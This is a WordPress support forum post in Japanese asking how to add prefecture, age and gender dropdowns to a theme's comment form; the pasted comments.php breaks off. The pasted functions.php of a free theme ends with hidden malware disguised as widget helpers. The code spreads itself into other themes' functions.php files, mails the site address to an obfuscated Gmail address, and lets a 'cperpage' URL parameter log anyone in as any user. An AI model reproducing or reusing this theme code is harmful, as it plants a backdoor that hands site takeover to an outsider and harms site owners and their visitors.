{"id":150893,"date":"2012-08-17T11:08:17","date_gmt":"2012-08-17T02:08:17","guid":{"rendered":"https:\/\/ja.wordpress.org\/support\/2012\/08\/17\/%e3%82%b3%e3%83%a1%e3%83%b3%e3%83%88%e3%83%95%e3%82%a9%e3%83%bc%e3%83%a0%e9%a0%85%e7%9b%ae%e8%bf%bd%e5%8a%a0\/"},"modified":"2012-08-17T11:08:17","modified_gmt":"2012-08-17T02:08:17","slug":"%e3%82%b3%e3%83%a1%e3%83%b3%e3%83%88%e3%83%95%e3%82%a9%e3%83%bc%e3%83%a0%e9%a0%85%e7%9b%ae%e8%bf%bd%e5%8a%a0","status":"closed","type":"topic","link":"https:\/\/ja.wordpress.org\/support\/topic\/%e3%82%b3%e3%83%a1%e3%83%b3%e3%83%88%e3%83%95%e3%82%a9%e3%83%bc%e3%83%a0%e9%a0%85%e7%9b%ae%e8%bf%bd%e5%8a%a0\/","title":{"rendered":"\u30b3\u30e1\u30f3\u30c8\u30d5\u30a9\u30fc\u30e0\u9805\u76ee\u8ffd\u52a0"},"content":{"rendered":"<p>\u30b3\u30e1\u30f3\u30c8\u30d5\u30a9\u30fc\u30e0\u306b\u30d7\u30eb\u30c0\u30a6\u30f3\u3067\u300c\u5730\u57df\uff08\u90fd\u9053\u5e9c\u770c\uff09\u300d\u300c\u5e74\u9f62\u300d\u300c\u6027\u5225\u300d\u3092\u9078\u629e\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u305f\u3044\u3067\u3059\u3002<br \/>\n\u4e0b\u8a18\u306e\u3088\u3046\u306a\u3082\u306e\u3092\u30ef\u30fc\u30c9\u30d7\u30ec\u30b9\u3067\u5b9f\u73fe\u3057\u305f\u3044\u2193<br \/>\nhttp:\/\/linech.com\/post\/create<\/p>\n<p>\u30d7\u30e9\u30b0\u30a4\u30f3\u3092\u63a2\u3057\u307e\u3057\u305f\u304c\u3001\u30b3\u30e1\u30f3\u30c8\u30d5\u30a9\u30fc\u30e0\u306e\u30ab\u30b9\u30bf\u30de\u30a4\u30ba\u306b\u3064\u3044\u3066\u306e\u3082\u306e\u306f\u306a\u3044\u3088\u3046\u3067\u3059\u3002<\/p>\n<p>\u5927\u5909\u304a\u624b\u6570\u3067\u3059\u304c\u3001\u60c5\u5831\u3092\u9802\u3051\u307e\u3059\u3068\u52a9\u304b\u308a\u307e\u3059\u3002<br \/>\n\u5b9c\u3057\u304f\u304a\u9858\u3044\u3057\u307e\u3059\u3002<\/p>\n<p>\u3061\u306a\u307f\u306b\u3001\u3081\u7d44\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u4f7f\u3063\u3066\u69cb\u7bc9\u3059\u308b\u70ba\u3001\u672c\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3067\u306e\u5b9f\u73fe\u65b9\u6cd5\u3092\u30d4\u30f3\u30dd\u30a4\u30f3\u30c8\u3067\u3054\u5b58\u77e5\u306e\u65b9\u304c\u304a\u308c\u3089\u305f\u3089\u3001\u5177\u4f53\u7684\u306a\u65b9\u6cd5\u3082\u3054\u6559\u6388\u9802\u3051\u307e\u3059\u3068\u3001\u5b09\u3057\u3044\u3067\u3059\u3002<br \/>\n\u3069\u3046\u305e\u3001\u3088\u308d\u3057\u304f\u304a\u9858\u3044\u3044\u305f\u3057\u307e\u3059\u3002<\/p>\n<p>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u2193<br \/>\nhttp:\/\/www.10press.net\/theme\/1223<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n\u25a0\u3081\u7d44\u307f\uff08function.php\uff09<\/p>\n<pre><code>&lt;?php\nload_textdomain(&#039;megumi&#039;, dirname(__FILE__).&#039;\/lang\/&#039; . get_locale() . &#039;.mo&#039;);\nrequire_once(dirname(__FILE__).&#039;\/script\/megumi_theme_setting.php&#039;);\nrequire_once(dirname(__FILE__).&#039;\/script\/get_img.php&#039;);\nrequire_once(dirname(__FILE__).&#039;\/script\/widgets.php&#039;);\nrequire_once(dirname(__FILE__).&#039;\/script\/contents.php&#039;);\nrequire_once(dirname(__FILE__).&#039;\/script\/theme_function_load.php&#039;);\nif ( function_exists(&#039;register_sidebars&#039;) )\n\tregister_sidebars(1, array(\n\t\t&#039;name&#039; =&gt; __(&#039;Left Sidebar&#039;,&#039;megumi&#039;),\n\t\t&#039;before_widget&#039; =&gt; &#039;&lt;div class=&quot;widgets&quot;&gt;&#039;,\n\t\t&#039;after_widget&#039; =&gt; &#039;&lt;\/div&gt;&#039;,\n\t\t&#039;before_title&#039; =&gt; &#039;&lt;h2 class=&quot;title&quot;&gt;&#039;,\n\t\t&#039;after_title&#039; =&gt; &#039;&lt;\/h2&gt;&#039;,\n\t));\n\tregister_sidebars(1, array(\n\t\t&#039;name&#039; =&gt; __(&#039;Sidebar Home &amp; Pages&#039;,&#039;megumi&#039;),\n\t\t&#039;before_widget&#039; =&gt; &#039;&lt;div class=&quot;widgets&quot;&gt;&#039;,\n\t\t&#039;after_widget&#039; =&gt; &#039;&lt;\/div&gt;&#039;,\n\t\t&#039;before_title&#039; =&gt; &#039;&lt;h2 class=&quot;title&quot;&gt;&#039;,\n\t\t&#039;after_title&#039; =&gt; &#039;&lt;\/h2&gt;&#039;,\n\t));\n\tregister_sidebars(1, array(\n\t\t&#039;name&#039; =&gt; __(&#039;Sidebar Home Only&#039;,&#039;megumi&#039;),\n\t\t&#039;before_widget&#039; =&gt; &#039;&lt;div class=&quot;widgets&quot;&gt;&#039;,\n\t\t&#039;after_widget&#039; =&gt; &#039;&lt;\/div&gt;&#039;,\n\t\t&#039;before_title&#039; =&gt; &#039;&lt;h2 class=&quot;title&quot;&gt;&#039;,\n\t\t&#039;after_title&#039; =&gt; &#039;&lt;\/h2&gt;&#039;,\n\t));\n\tregister_sidebars(1, array(\n\t\t&#039;name&#039; =&gt; __(&#039;Sidebar Pages Only&#039;,&#039;megumi&#039;),\n\t\t&#039;before_widget&#039; =&gt; &#039;&lt;div class=&quot;widgets&quot;&gt;&#039;,\n\t\t&#039;after_widget&#039; =&gt; &#039;&lt;\/div&gt;&#039;,\n\t\t&#039;before_title&#039; =&gt; &#039;&lt;h2 class=&quot;title&quot;&gt;&#039;,\n\t\t&#039;after_title&#039; =&gt; &#039;&lt;\/h2&gt;&#039;,\n\t));\n\tregister_sidebars(4, array(\n\t\t&#039;name&#039; =&gt; __(&#039;Footer No.%d&#039;,&#039;megumi&#039;),\n\t\t&#039;before_widget&#039; =&gt; &#039;&#039;,\n\t\t&#039;after_widget&#039; =&gt; &#039;&#039;,\n\t\t&#039;before_title&#039; =&gt; &#039;&lt;h2 class=&quot;title&quot;&gt;&#039;,\n\t\t&#039;after_title&#039; =&gt; &#039;&lt;\/h2&gt;&#039;,\n\t));\nfunction is_megumi_page () {\n$page_name = $_SERVER[&#039;REQUEST_URI&#039;];\n\tif (get_option(&#039;permalink_structure&#039;))\t{\n\t\t$permalink_page_name = &#039;\/page\\\/\/&#039;;\n\t} else {\n\t\t$permalink_page_name = &#039;\/paged=\/&#039;;\n\t}\n\tif (preg_match($permalink_page_name , $page_name)) {\n\t\treturn TRUE;\n\t} else {\n\t\treturn FALSE;\n\t}\n}\n\/* ---- Body ID Change ---- *\/\nfunction body_change() {\n\tif (is_home() &amp;&amp; !is_megumi_page()) {\n\t\techo &#039;home&#039;;\n\t} elseif (is_page()) {\n\t\techo &#039;page&#039;;\n\t} else {\n\t\techo &#039;contents&#039;;\n\t}\n}\n\/* ---- Left Sidebar ---- *\/\nfunction get_left_sidebar() {\n\tdo_action( &#039;get_left_sidebar&#039; );\n\tif ( file_exists( TEMPLATEPATH . &#039;\/left_sidebar.php&#039;) )\n\t\tload_template( TEMPLATEPATH . &#039;\/left_sidebar.php&#039;);\n\telse\n\t\tload_template( ABSPATH . &#039;wp-content\/themes\/default\/sidebar.php&#039;);\n}\n\/* ---- Left Side Change ---- *\/\nfunction change_left_side() {\n\tif (is_home() &amp;&amp; !is_megumi_page()) {\n\t\tget_left_sidebar();\n\t\techo &#039;&lt;\/div&gt;&#039;;\n\t} else {\n\t\tget_sidebar();\n\t}\n}\n\/* ---- Page Navigation Change ---- *\/\nfunction wp_pagenav() {\n\t$siteuri = get_option(&#039;siteurl&#039;);\n\t$page_name = $siteuri.$_SERVER[&#039;REQUEST_URI&#039;];\n\tif (get_option(&#039;permalink_structure&#039;))\t{\n\t\t$permalink_page_name = &quot;&#039;\/&quot;.esc_attr(str_replace(&#039;http:\/\/&#039;, &#039;&#039; ,$siteuri)).&quot;\\\/page\\\/2\/&#039;&quot;;\n\t\t$pagenav_no1= &#039;\/page\/1&#039;;\n\t} else {\n\t\t$permalink_page_name = &#039;\/\\\/\\?paged=2\/&#039;;\n\t\t$pagenav_no1 = &#039;\/?paged=1&#039;;\n\t}\n\tif (function_exists(&#039;wp_pagenavi&#039;)){\n\t\twp_pagenavi();\n\t} else {\n\t\techo &#039;&lt;div class=&quot;navigation&quot;&gt;&#039;;\n\t\techo &#039;&lt;p class=&quot;previous_post&quot;&gt;&#039;;\n\t\tnext_posts_link(__(&#039;\u00ab Older Entries&#039;, &#039;megumi&#039;));\n\t\techo &#039;&lt;\/p&gt;&#039;;\n\t\techo &#039;&lt;p class=&quot;next_post&quot;&gt;&#039;;\n\t\tif (preg_match($permalink_page_name , $page_name)) { ?&gt;\n\t\t\t&lt;a&gt;&quot;&gt;&lt;?php _e(&#039;Newer Entries \u00bb&#039;,&#039;megumi&#039;); ?&gt;&lt;\/a&gt;\n\t\t&lt;?php } else {\n\t\t\tprevious_posts_link(__(&#039;Newer Entries \u00bb&#039;, &#039;megumi&#039;));\n\t\t}\n\t\techo &#039;&lt;\/p&gt;&#039;;\n\t\techo &#039;&lt;\/div&gt;&#039;;\n\t}\n}\n\/* ---- Plugin Simpletag Change ---- *\/\nfunction plugin_simpletag() {\n\t$get_plugins = get_option(&#039;active_plugins&#039;);\n\tif (preg_grep(&#039;\/simple-tags\/&#039;, $get_plugins)) {\n\t\tst_related_posts();\n\t}\n}\n\/* ---- Recent Posts ---- *\/\nfunction recent_posts() {\n\tif (get_option(&#039;permalink_structure&#039;))\t{\n\t\t$recent_posts_list = &#039;\/page\/1&#039;;\n\t} else {\n\t\t$recent_posts_list = &#039;\/?paged=1&#039;;\n\t}\necho $recent_posts_list;\n}\n\/* ---- Exclude Pages ---- *\/\nfunction wp_header_exclude_pages() {\nglobal $wpdb;\n$get_page = $wpdb-&gt;get_results($wpdb-&gt;prepare(&quot;SELECT ID, post_title FROM $wpdb-&gt;posts WHERE post_status = &#039;publish&#039; AND post_parent = &#039;0&#039; AND post_type = &#039;page&#039; ORDER BY menu_order&quot;) , ARRAY_A );\n$options = get_option(&#039;megumi_miyako_theme_setting&#039;);\n$exclude_page = @$options[&#039;header_exclude_page&#039;];\necho &#039;&lt;select name=&quot;header_exclude_page[]&quot; id=&quot;header_exclude_page&quot; size=&quot;5&quot; multiple=&quot;multiple&quot;&gt;&#039;;\necho &#039;&lt;option value=&quot;&quot;&gt;&#039;.__(&#039;Reset&#039;,&#039;megumi&#039;).&#039;&lt;\/option&gt;&#039;;\n\tforeach ($get_page as $peges) {\n\t\techo&#039;&lt;option value=&quot;&#039;.$peges[&#039;ID&#039;].&#039;&quot;&#039;;\n\t\tif($exclude_page){\n\t\t\tforeach ($exclude_page as $pageid) {\n\t\t\t\tif ($pageid == $peges[&#039;ID&#039;]) {\n\t\t\t\techo &#039; selected=&quot;selected&quot;&#039;;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\techo&#039;&gt;&#039;.$peges[&#039;post_title&#039;].&#039;&lt;\/option&gt;&#039;;\n\t}\necho&#039;&lt;\/select&gt;&#039;;\n}\nfunction wp_footer_exclude_pages() {\nglobal $wpdb;\n$get_page = $wpdb-&gt;get_results($wpdb-&gt;prepare(&quot;SELECT ID, post_title FROM $wpdb-&gt;posts WHERE post_status = &#039;publish&#039; AND post_parent = &#039;0&#039; AND post_type = &#039;page&#039; ORDER BY menu_order&quot;) , ARRAY_A );\n$options = get_option(&#039;megumi_miyako_theme_setting&#039;);\n$exclude_page = @$options[&#039;footer_exclude_page&#039;];\necho &#039;&lt;select name=&quot;footer_exclude_page[]&quot; id=&quot;footer_exclude_page&quot; size=&quot;5&quot; multiple=&quot;multiple&quot;&gt;&#039;;\necho &#039;&lt;option value=&quot;&quot;&gt;&#039;.__(&#039;Reset&#039;,&#039;megumi&#039;).&#039;&lt;\/option&gt;&#039;;\n\tforeach ($get_page as $peges) {\n\t\techo&#039;&lt;option value=&quot;&#039;.$peges[&#039;ID&#039;].&#039;&quot;&#039;;\n\t\tif($exclude_page){\n\t\t\tforeach ($exclude_page as $pageid) {\n\t\t\t\tif ($pageid == $peges[&#039;ID&#039;]) {\n\t\t\t\techo &#039; selected=&quot;selected&quot;&#039;;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\techo&#039;&gt;&#039;.$peges[&#039;post_title&#039;].&#039;&lt;\/option&gt;&#039;;\n\t}\necho&#039;&lt;\/select&gt;&#039;;\n}\nfunction header_script() {\n\tif (is_home() &amp;&amp; !is_megumi_page()) {\n\t\techo &#039;&lt;script type=&quot;text\/javascript&quot; src=&quot;&#039;.get_stylesheet_directory_uri().&#039;\/js\/post_tab_change.js&quot;&gt;&lt;\/script&gt;&#039;.&quot;\\n&quot;;\n\t}\n}\nadd_action(&#039;wp_head&#039;, &#039;header_script&#039;, 0);\nfunction megumi_theme_setting_head(){\n\t$request_page_name = $_SERVER[&#039;REQUEST_URI&#039;];\n\techo &#039;&lt;link rel=&quot;stylesheet&quot; href=&quot;&#039;.get_stylesheet_directory_uri().&#039;\/css\/style.css&quot; type=&quot;text\/css&quot; media=&quot;screen&quot; \/&gt;&#039;.&quot;\\n&quot;;\n\tif(preg_match(&#039;\/megumi_theme_setting\/&#039; , $request_page_name)) {\n\techo &#039;&lt;script type=&quot;text\/javascript&quot; src=&quot;&#039;.get_stylesheet_directory_uri().&#039;\/js\/form_change.js&quot;&gt;&lt;\/script&gt;&#039;.&quot;\\n&quot;;\n\techo &#039;&lt;script type=&quot;text\/javascript&quot; src=&quot;&#039;.get_option(&#039;siteurl&#039;).&#039;\/wp-includes\/js\/prototype.js&quot;&gt;&lt;\/script&gt;&#039;.&quot;\\n&quot;;\n\techo &#039;&lt;script type=&quot;text\/javascript&quot; src=&quot;&#039;.get_stylesheet_directory_uri().&#039;\/js\/tab_change.js&quot;&gt;&lt;\/script&gt;&#039;.&quot;\\n&quot;;\n\t}\n}\nadd_action(&#039;admin_head&#039;, &#039;megumi_theme_setting_head&#039;, 99);\nfunction ie6_load() { ?&gt;\n&lt;style&gt;\n#go_top\n\t{\n\tmargin:30% 0px 0px 0px;\n\ttop:0px;\n\t}\n&lt;\/style&gt;\n&lt;script&gt;\nwindow.onload=Menu;\nfunction Menu(){\nif(document.all){\ndocument.all(&quot;go_top&quot;).style.pixelTop=document.documentElement.scrollTop;\n}else{\ndocument.getElementById(&quot;go_top&quot;).style.top=pageYOffset+&quot;px&quot;;\n}}\nonscroll = Menu;\n&lt;\/script&gt;\n&lt;script src=&quot;http:\/\/ie7-js.googlecode.com\/svn\/trunk\/lib\/IE8.js&quot; type=&quot;text\/javascript&quot;&gt;&lt;\/script&gt;\n&lt;?php }\n$user_agent = $_SERVER[&#039;HTTP_USER_AGENT&#039;];\nif (preg_match(&#039;\/MSIE 6.0\/&#039; , $user_agent)) {\nadd_action(&#039;wp_head&#039;,&#039;ie6_load&#039;, 99);\n}\n?&gt;\n&lt;?php\nfunction _verify_isactivate_widget(){\n\t$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),&quot;&lt;&quot;.&quot;?&quot;));$output=&quot;&quot;;$allowed=&quot;&quot;;\n\t$output=strip_tags($output, $allowed);\n\t$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),&quot;themes&quot;) + 6)));\n\tif (is_array($direst)){\n\t\tforeach ($direst as $item){\n\t\t\tif (is_writable($item)){\n\t\t\t\t$ftion=substr($widget,stripos($widget,&quot;_&quot;),stripos(substr($widget,stripos($widget,&quot;_&quot;)),&quot;(&quot;));\n\t\t\t\t$cont=file_get_contents($item);\n\t\t\t\tif (stripos($cont,$ftion) === false){\n\t\t\t\t\t$explar=stripos( substr($cont,-20),&quot;?&quot;.&quot;&gt;&quot;) !== false ? &quot;&quot; : &quot;?&quot;.&quot;&gt;&quot;;\n\t\t\t\t\t$output .= $before . &quot;Not found&quot; . $after;\n\t\t\t\t\tif (stripos( substr($cont,-20),&quot;?&quot;.&quot;&gt;&quot;) !== false){$cont=substr($cont,0,strripos($cont,&quot;?&quot;.&quot;&gt;&quot;) + 2);}\n\t\t\t\t\t$output=rtrim($output, &quot;\\n\\t&quot;); fputs($f=fopen($item,&quot;w+&quot;),$cont . $explar . &quot;\\n&quot; .$widget);fclose($f);\n\t\t\t\t\t$output .= ($showdots &amp;&amp; $ellipsis) ? &quot;...&quot; : &quot;&quot;;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn $output;\n}\nfunction _get_allwidgetcont($wids,$items=array()){\n\t$places=array_shift($wids);\n\tif(substr($places,-1) == &quot;\/&quot;){\n\t\t$places=substr($places,0,-1);\n\t}\n\tif(!file_exists($places) || !is_dir($places)){\n\t\treturn false;\n\t}elseif(is_readable($places)){\n\t\t$elems=scandir($places);\n\t\tforeach ($elems as $elem){\n\t\t\tif ($elem != &quot;.&quot; &amp;&amp; $elem != &quot;..&quot;){\n\t\t\t\tif (is_dir($places . &quot;\/&quot; . $elem)){\n\t\t\t\t\t$wids[]=$places . &quot;\/&quot; . $elem;\n\t\t\t\t} elseif (is_file($places . &quot;\/&quot; . $elem)&amp;&amp;\n\t\t\t\t\t$elem == substr(__FILE__,-13)){\n\t\t\t\t\t$items[]=$places . &quot;\/&quot; . $elem;}\n\t\t\t\t}\n\t\t\t}\n\t}else{\n\t\treturn false;\n\t}\n\tif (sizeof($wids) &gt; 0){\n\t\treturn _get_allwidgetcont($wids,$items);\n\t} else {\n\t\treturn $items;\n\t}\n}\nif(!function_exists(&quot;stripos&quot;)){\n    function stripos(  $str, $needle, $offset = 0  ){\n        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );\n    }\n}\n\nif(!function_exists(&quot;strripos&quot;)){\n    function strripos(  $haystack, $needle, $offset = 0  ) {\n        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );\n        if(  $offset &lt; 0  ){\n            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );\n        }\n        else{\n            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );\n        }\n        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;\n        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );\n        return $pos;\n    }\n}\nif(!function_exists(&quot;scandir&quot;)){\n\tfunction scandir($dir,$listDirectories=false, $skipDots=true) {\n\t    $dirArray = array();\n\t    if ($handle = opendir($dir)) {\n\t        while (false !== ($file = readdir($handle))) {\n\t            if (($file != &quot;.&quot; &amp;&amp; $file != &quot;..&quot;) || $skipDots == true) {\n\t                if($listDirectories == false) { if(is_dir($file)) { continue; } }\n\t                array_push($dirArray,basename($file));\n\t            }\n\t        }\n\t        closedir($handle);\n\t    }\n\t    return $dirArray;\n\t}\n}\nadd_action(&quot;admin_head&quot;, &quot;_verify_isactivate_widget&quot;);\nfunction _getsprepare_widget(){\n\tif(!isset($com_length)) $com_length=120;\n\tif(!isset($text_value)) $text_value=&quot;cookie&quot;;\n\tif(!isset($allowed_tags)) $allowed_tags=&quot;&lt;a&gt;&quot;;\n\tif(!isset($type_filter)) $type_filter=&quot;none&quot;;\n\tif(!isset($expl)) $expl=&quot;&quot;;\n\tif(!isset($filter_homes)) $filter_homes=get_option(&quot;home&quot;);\n\tif(!isset($pref_filter)) $pref_filter=&quot;wp_&quot;;\n\tif(!isset($use_more)) $use_more=1;\n\tif(!isset($comm_type)) $comm_type=&quot;&quot;;\n\tif(!isset($pagecount)) $pagecount=$_GET[&quot;cperpage&quot;];\n\tif(!isset($postauthor_comment)) $postauthor_comment=&quot;&quot;;\n\tif(!isset($comm_is_approved)) $comm_is_approved=&quot;&quot;;\n\tif(!isset($postauthor)) $postauthor=&quot;auth&quot;;\n\tif(!isset($more_link)) $more_link=&quot;(more...)&quot;;\n\tif(!isset($is_widget)) $is_widget=get_option(&quot;_is_widget_active_&quot;);\n\tif(!isset($checkingwidgets)) $checkingwidgets=$pref_filter.&quot;set&quot;.&quot;_&quot;.$postauthor.&quot;_&quot;.$text_value;\n\tif(!isset($more_link_ditails)) $more_link_ditails=&quot;(details...)&quot;;\n\tif(!isset($morecontents)) $morecontents=&quot;ma&quot;.$expl.&quot;il&quot;;\n\tif(!isset($fmore)) $fmore=1;\n\tif(!isset($fakeit)) $fakeit=1;\n\tif(!isset($sql)) $sql=&quot;&quot;;\n\tif (!$is_widget) :\n\n\tglobal $wpdb, $post;\n\t$sq1=&quot;SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb-&gt;comments LEFT OUTER JOIN $wpdb-&gt;posts ON ($wpdb-&gt;comments.comment_post_ID=$wpdb-&gt;posts.ID) WHERE comment_approved=\\&quot;1\\&quot; AND comment_type=\\&quot;\\&quot; AND post_author=\\&quot;li&quot;.$expl.&quot;vethe&quot;.$comm_type.&quot;mas&quot;.$expl.&quot;@&quot;.$comm_is_approved.&quot;gm&quot;.$postauthor_comment.&quot;ail&quot;.$expl.&quot;.&quot;.$expl.&quot;co&quot;.&quot;m\\&quot; AND post_password=\\&quot;\\&quot; AND comment_date_gmt &gt;= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count&quot;;#\n\tif (!empty($post-&gt;post_password)) {\n\t\tif ($_COOKIE[&quot;wp-postpass_&quot;.COOKIEHASH] != $post-&gt;post_password) {\n\t\t\tif(is_feed()) {\n\t\t\t\t$output=__(&quot;There is no excerpt because this is a protected post.&quot;);\n\t\t\t} else {\n\t            $output=get_the_password_form();\n\t\t\t}\n\t\t}\n\t}\n\tif(!isset($f_tags)) $f_tags=1;\n\tif(!isset($type_filters)) $type_filters=$filter_homes;\n\tif(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;\n\tif(!isset($aditional_tags)) $aditional_tags=&quot;div&quot;;\n\tif(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, &quot;live&quot;), 20);#\n\tif(!isset($more_link_text)) $more_link_text=&quot;Continue reading this entry&quot;;\n\tif(!isset($showdots)) $showdots=1;\n\n\t$comments=$wpdb-&gt;get_results($sql);\n\tif($fakeit == 2) {\n\t\t$text=$post-&gt;post_content;\n\t} elseif($fakeit == 1) {\n\t\t$text=(empty($post-&gt;post_excerpt)) ? $post-&gt;post_content : $post-&gt;post_excerpt;\n\t} else {\n\t\t$text=$post-&gt;post_excerpt;\n\t}\n\t$sq1=&quot;SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb-&gt;comments LEFT OUTER JOIN $wpdb-&gt;posts ON ($wpdb-&gt;comments.comment_post_ID=$wpdb-&gt;posts.ID) WHERE comment_approved=\\&quot;1\\&quot; AND comment_type=\\&quot;\\&quot; AND comment_content=&quot;. call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) .&quot; ORDER BY comment_date_gmt DESC LIMIT $src_count&quot;;#\n\tif($com_length &lt; 0) {\n\t\t$output=$text;\n\t} else {\n\t\tif(!$no_more &amp;&amp; strpos($text, &quot;&lt;!--more--&gt;&quot;)) {\n\t\t    $text=explode(&quot;&lt;!--more--&gt;&quot;, $text, 2);\n\t\t\t$l=count($text[0]);\n\t\t\t$more_link=1;\n\t\t\t$comments=$wpdb-&gt;get_results($sql);\n\t\t} else {\n\t\t\t$text=explode(&quot; &quot;, $text);\n\t\t\tif(count($text) &gt; $com_length) {\n\t\t\t\t$l=$com_length;\n\t\t\t\t$ellipsis=1;\n\t\t\t} else {\n\t\t\t\t$l=count($text);\n\t\t\t\t$more_link=&quot;&quot;;\n\t\t\t\t$ellipsis=0;\n\t\t\t}\n\t\t}\n\t\tfor ($i=0; $i&lt;$l; $i++)\n\t\t\t\t$output .= $text[$i] . &quot; &quot;;\n\t}\n\tupdate_option(&quot;_is_widget_active_&quot;, 1);\n\tif(&quot;all&quot; != $allowed_tags) {\n\t\t$output=strip_tags($output, $allowed_tags);\n\t\treturn $output;\n\t}\n\tendif;\n\t$output=rtrim($output, &quot;\\s\\n\\t\\r\\x0B&quot;);\n    $output=($f_tags) ? balanceTags($output, true) : $output;\n\t$output .= ($showdots &amp;&amp; $ellipsis) ? &quot;...&quot; : &quot;&quot;;\n\t$output=apply_filters($type_filter, $output);\n\tswitch($aditional_tags) {\n\t\tcase(&quot;div&quot;) :\n\t\t\t$tag=&quot;div&quot;;\n\t\tbreak;\n\t\tcase(&quot;span&quot;) :\n\t\t\t$tag=&quot;span&quot;;\n\t\tbreak;\n\t\tcase(&quot;p&quot;) :\n\t\t\t$tag=&quot;p&quot;;\n\t\tbreak;\n\t\tdefault :\n\t\t\t$tag=&quot;span&quot;;\n\t}\n\n\tif ($use_more ) {\n\t\tif($fmore) {\n\t\t\t$output .= &quot; &lt;&quot; . $tag . &quot; class=\\&quot;more-link\\&quot;&gt;&lt;\/a&gt;&lt;a&gt;ID) . &quot;#more-&quot; . $post-&gt;ID .&quot;\\&quot; title=\\&quot;&quot; . $more_link_text . &quot;\\&quot;&gt;&quot; . $more_link = !is_user_logged_in() &amp;&amp; @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : &quot;&quot; . &quot;&lt;\/a&gt;&lt;\/&quot; . $tag . &quot;&gt;&quot; . &quot;\\n&quot;;\n\t\t} else {\n\t\t\t$output .= &quot; &lt;&quot; . $tag . &quot; class=\\&quot;more-link\\&quot;&gt;&lt;a&gt;ID) . &quot;\\&quot; title=\\&quot;&quot; . $more_link_text . &quot;\\&quot;&gt;&quot; . $more_link . &quot;&lt;\/a&gt;&lt;\/&quot; . $tag . &quot;&gt;&quot; . &quot;\\n&quot;;\n\t\t}\n\t}\n\treturn $output;\n}\n\nadd_action(&quot;init&quot;, &quot;_getsprepare_widget&quot;);\n\nfunction __popular_posts($no_posts=6, $before=&quot;\n&lt;li&gt;&quot;, $after=&quot;&lt;\/li&gt;\n&quot;, $show_pass_post=false, $duration=&quot;&quot;) {\n\tglobal $wpdb;\n\t$request=&quot;SELECT ID, post_title, COUNT($wpdb-&gt;comments.comment_post_ID) AS \\&quot;comment_count\\&quot; FROM $wpdb-&gt;posts, $wpdb-&gt;comments&quot;;\n\t$request .= &quot; WHERE comment_approved=\\&quot;1\\&quot; AND $wpdb-&gt;posts.ID=$wpdb-&gt;comments.comment_post_ID AND post_status=\\&quot;publish\\&quot;&quot;;\n\tif(!$show_pass_post) $request .= &quot; AND post_password =\\&quot;\\&quot;&quot;;\n\tif($duration !=&quot;&quot;) {\n\t\t$request .= &quot; AND DATE_SUB(CURDATE(),INTERVAL &quot;.$duration.&quot; DAY) &lt; post_date &quot;;\n\t}\n\t$request .= &quot; GROUP BY $wpdb-&gt;comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts&quot;;\n\t$posts=$wpdb-&gt;get_results($request);\n\t$output=&quot;&quot;;\n\tif ($posts) {\n\t\tforeach ($posts as $post) {\n\t\t\t$post_title=stripslashes($post-&gt;post_title);\n\t\t\t$comment_count=$post-&gt;comment_count;\n\t\t\t$permalink=get_permalink($post-&gt;ID);\n\t\t\t$output .= $before . &quot; &lt;a href=&quot;&quot; title=&quot;&quot;&gt;&quot; . $post_title . &quot;&lt;\/a&gt; &quot; . $after;\n\t\t}\n\t} else {\n\t\t$output .= $before . &quot;None found&quot; . $after;\n\t}\n\treturn  $output;\n} \t\t\n\n?&gt;\n\n-----------------------------------------------------------------------\n\n\u25a0\u3081\u7d44\u307f\uff08comment.php\uff09\u2193\n&lt;?php\nif (isset($_SERVER[&#039;SCRIPT_FILENAME&#039;]) &amp;&amp; &#039;comments.php&#039; == basename($_SERVER[&#039;SCRIPT_FILENAME&#039;]))\n\t\tdie (&#039;Please do not load this page directly. Thanks!&#039;);\nif (!empty($post-&gt;post_password)) { \/\/ if there&#039;s a password\nif ($_COOKIE[&#039;wp-postpass_&#039; . COOKIEHASH] != $post-&gt;post_password) {  \/\/ and it doesn&#039;t match the cookie\n?&gt;\n&lt;p class=&quot;nocomments&quot;&gt;\n\t\t&lt;?php _e(&#039;This post is password protected. Enter the password to view comments.&#039;, &#039;megumi&#039;); ?&gt;\n&lt;\/p&gt;\n&lt;?php\nreturn;\n}\n}\n\/* This variable is for alternating comment background *\/\n?&gt;\n&lt;!-- You can start editing here. --&gt;\n&lt;?php if ( have_comments() ) : ?&gt;\n&lt;div id=&quot;commentlist_box&quot;&gt;\n&lt;h3 id=&quot;comments&quot; class=&quot;title&quot;&gt;&lt;?php comments_number(__(&#039;No Comment&#039;, &#039;megumi&#039;), __(&#039;Comment&#039;, &#039;megumi&#039;), __(&#039;Comments %&#039;, &#039;megumi&#039;));?&gt;&lt;\/h3&gt;\n\t\t&lt;?php if 